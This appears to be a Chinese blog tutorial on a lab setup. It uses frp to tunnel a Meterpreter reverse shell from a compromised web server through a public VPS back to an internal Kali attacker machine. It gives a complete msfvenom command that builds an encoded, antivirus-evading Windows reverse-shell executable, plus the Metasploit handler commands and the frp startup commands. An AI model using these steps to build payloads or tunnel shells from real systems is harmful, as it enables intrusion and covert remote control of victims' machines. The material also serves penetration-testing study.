隧道代理-反向代理

代理

实验环境:

  • 攻击机kali:192.168.160.32(NAT模式)
  • 模拟的公网服务器(本机):10.9.75.214
  • 失陷主机:10.9.75.127(桥接模式)

代理使用场景

1、拿下远程web服务器

2、webshell链接不稳定,需要使用稳定的木马程序

3、远程服务器无法直接链接攻击者电脑

4、需要借助公网vps转发来自失陷服务器的木马流量

5、借助frp服务端(vps)和客户端(内网攻击者)建立隧道

6、当vps某一个端口收到流量的时候,frps会根据提前和frpc约定好的规则,使用简历好的隧道转发流量

前提条件

拿下了公网上的一台主机(10.9.75.214)的webshell的权限,需要上传完整功能的木马文件。那么有一个问题,木马执行了后要找谁?此时的失陷主机是连接不到内网的攻击主机,这个时候就需要用到代理技术。

VPS

VPS是Virtual Private Serve的英文缩写,即虚拟专用服务器。VPS就是将一台物理服务器分割成多个独立的虚拟专项服务器,每一个VPS都可以分配独立的公网IP地址,独立的操作系统,能够实现不同VPS的磁盘空间、CPU资源、内存、系统等配置的隔离,通过虚拟技术让每一个用户使用VPS的时候都像是在使用一台独立服务器一样,自定义安装自己需要的东西。

公网VPS:

  • 可以理解为服务器上的虚拟机,攻击者可控。
  • 攻击者和受害者服务器都可以访问到。

建立隧道

image-20231013201014251

因为远程VPS不能访问攻击者的Kali主机。攻击者与远程VPS需要建立隧道,远程VPS使用7000端口建立一个监听(可以说隧道服务或者是代理服务),这样远程VPS就能够访问攻击者主机。还需要将远程VPS的4444端口的流量通过7000端口发送给攻击者的Kali。(代理的核心)

给失陷Web服务器的木马内容:

  • host:当木马执行的时候,去连接公网上的远程VPS。
  • post:连接远程VPS的4444端口。

frp

frp可以实现端口转发,端口监听,隧道功能。frp分为客户端和服务端。

Kali上启动的是客户端(frpc)

本机上启动的是服务端(frps)

frp运行起来的时候会自动的将7000端口开放,当然该端口可以在配置文件中进行修改。这样客户端和服务端就可以连接上了,他们之间就会有一个隧道。

远程VPS服务器的4444端口会主动转发数据流量给客户端的4444端口,不做任何操作,通过frp建立的隧道发送给远程连接的客户端的端口,至于转发给客户端的哪个端口,是由frpc的配置文件来决定的。

MSF木马生成

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.75.214 LPORT=4444 -e x86/shikata_ga_nai -f exe -o shell.exe -i 5

解释:

  • -p windows/meterpreter/reverse_tcp: 指定所使用的Payload(载荷)为Windows平台的Meterpreter反向TCP shell,这将在目标机器上与Metasploit框架监听器建立反向连接。
  • LHOST=10.9.75.214: 设置本地主机的IP地址,即Metasploit监听器所在的IP地址,用于接收反向连接。
  • LPORT=4444: 设置本地主机的端口号,即Metasploit监听器所监听的端口号。
  • -e X86/shikata_ga_nai: 使用shikata_ga_nai编码器对Payload进行混淆,以绕过一些基于签名和特征的安全防护机制。
  • -f exe: 指定生成的文件格式为可执行文件(exe)格式。
  • -o shell.exe: 指定生成的可执行文件的输出路径和文件名为shell.exe
  • -i 5: 设置迭代次数为5,表示对Payload进行重复编码5次以增加混淆程度。

image-20231014163933839

监听

使用msf进行监听

sudo msfconsole 

载入监控模块

use exploit/multi/handler 

加载payload

set payload windows/meterpreter/reverse_tcp
set lport 4444					# 监听本机的4444端口
set lhost 127.0.0.1				# 监听本机的IP地址也就是127.0.0.1
run

image-20231014164150171

此时本地已经启动了连接端口,查看Kali主机监听的端口号信息

ss -antpl #查看网络连接状态

解释:

ss -antpl 是一个用于显示当前系统网络连接状态的命令。下面对命令中的参数进行解释说明:

  • -a:显示所有的连接,包括监听和非监听状态的连接。
  • -n:不使用域名解析,以IP地址的形式显示连接信息。
  • -t:显示TCP协议的连接信息。
  • -p:显示与连接相关的进程信息。
  • -l:仅显示监听状态的连接。

image-20231014164528539

开启frp服务端和客户端

注意:先开启frp服务端再开启frp的客户端

开启frp服务端

.\frps.exe -c frps.ini

说明:-c表示指定服务端的配置文件。

image-20231014164437512

开启frp客户端

将frp压缩包先进行一个解压操作。

tar xf frp_0.33.0_linux_amd64.tar.gz  # 解压缩包
 sudo ./frpc -c frpc.ini # 启动frpc

配置文件解释:

image-20231014153353422

image-20231014153057596

image-20231014154031464

启动成功。

frp服务端情况:

image-20231014165331959

执行exe木马文件

将木马文件上传到失陷主机上,双击执行即可。

kali攻击机成功监听。

image-20231014165501641

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值